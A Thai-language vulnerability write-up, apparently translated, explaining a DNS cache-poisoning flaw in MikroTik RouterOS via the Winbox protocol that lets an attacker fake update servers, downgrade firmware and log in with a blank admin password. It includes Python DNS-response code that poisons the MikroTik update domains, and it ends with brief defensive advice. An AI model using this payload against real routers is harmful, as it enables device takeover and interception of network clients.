ความสามารถในการดาวน์เกรดอุปกรณ์จากระยะไกลโดยใช้ RouterOS (Mikrotik) ทำให้อุปกรณ์เครือข่ายหลายแสนเครื่องตกอยู่ในความเสี่ยง ช่องโหว่นี้เกี่ยวข้องกับการวางพิษแคช DNS ของโปรโตคอล Winbox และอนุญาตให้คุณโหลดเฟิร์มแวร์ที่ล้าสมัย (ด้วยการรีเซ็ตรหัสผ่านเริ่มต้น) หรือเฟิร์มแวร์ที่แก้ไขลงในอุปกรณ์
รายละเอียดช่องโหว่
เทอร์มินัล RouterOS รองรับคำสั่งแก้ไขสำหรับการค้นหา DNS
คำขอนี้ได้รับการจัดการโดยไบนารีที่เรียกว่าตัวแก้ไข Resolver เป็นหนึ่งในไบนารีจำนวนมากที่เชื่อมต่อกับโปรโตคอล Winbox ของ RouterOS ในระดับสูง "ข้อความ" ที่ส่งไปยังพอร์ต Winbox สามารถกำหนดเส้นทางไปยังไบนารีต่างๆ ใน RouterOS ตามรูปแบบการกำหนดหมายเลขแบบอาเรย์
ตามค่าเริ่มต้น RouterOS จะปิดใช้งานคุณลักษณะเซิร์ฟเวอร์ DNS
อย่างไรก็ตาม แม้ว่าฟังก์ชันเซิร์ฟเวอร์จะถูกปิดใช้งาน เราเตอร์จะรักษาแคช DNS ของตัวเองไว้
เมื่อเราทำการร้องขอโดยใช้ winbox_dns_request สำหรับ example.com เราเตอร์จะแคชผลลัพธ์
เนื่องจากเราสามารถระบุเซิร์ฟเวอร์ DNS ที่ต้องการส่งคำขอได้ การป้อนที่อยู่ที่ไม่ถูกต้องจึงเป็นเรื่องเล็กน้อย ตัวอย่างเช่น คุณสามารถกำหนดค่าการใช้งานเซิร์ฟเวอร์ DNS ได้
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
ตอนนี้หากคุณค้นหา example.com โดยใช้ Winbox คุณจะเห็นว่าแคช DNS ของเราเตอร์เป็นพิษ
แน่นอนว่าการวางยาพิษ example.com ไม่มีประโยชน์มากนักเนื่องจากเราเตอร์ไม่ได้ใช้งานจริง อย่างไรก็ตาม เราเตอร์จำเป็นต้องเข้าถึง upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com และ download.mikrotik.com และด้วยความผิดพลาดอีกครั้ง คุณจึงสามารถวางยาพิษทั้งหมดได้ในคราวเดียว
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
เราเตอร์ขอสิทธิ์หนึ่งรายการ และเราให้สิทธิ์คืนห้ารายการ เราเตอร์แคชการตอบสนองเหล่านี้ทั้งหมดไม่ถูกต้อง
แน่นอนว่าการโจมตีนี้ยังมีประโยชน์หากเราเตอร์ทำหน้าที่เป็นเซิร์ฟเวอร์ DNS เนื่องจากจะทำให้ไคลเอนต์ของเราเตอร์ถูกโจมตีได้
การโจมตีนี้ยังช่วยให้คุณใช้ประโยชน์จากช่องโหว่ที่ร้ายแรงยิ่งขึ้น: ดาวน์เกรดหรือแบ็คพอร์ตเวอร์ชันของ RouterOS ผู้โจมตีสร้างตรรกะของเซิร์ฟเวอร์การอัพเดทขึ้นใหม่ รวมถึงบันทึกการเปลี่ยนแปลง และบังคับให้ RouterOS รับรู้เวอร์ชันที่ล้าสมัย (มีช่องโหว่) ว่าเป็นเวอร์ชันปัจจุบัน อันตรายอยู่ที่ความจริงที่ว่าเมื่อเวอร์ชัน "อัปเดต" รหัสผ่านผู้ดูแลระบบจะถูกรีเซ็ตเป็นค่าเริ่มต้น - ผู้โจมตีสามารถเข้าสู่ระบบด้วยรหัสผ่านที่ว่างเปล่า!
การโจมตีค่อนข้างได้ผลแม้ว่าจะเป็นเช่นนั้นก็ตาม
การป้องกัน
การปิดใช้งาน Winbox เพียงอย่างเดียวจะช่วยให้คุณสามารถป้องกันตนเองจากการโจมตีเหล่านี้ได้ แม้จะสะดวกในการดูแลระบบผ่าน Winbox แต่ควรใช้โปรโตคอล SSH จะดีกว่า
ที่มา: will.com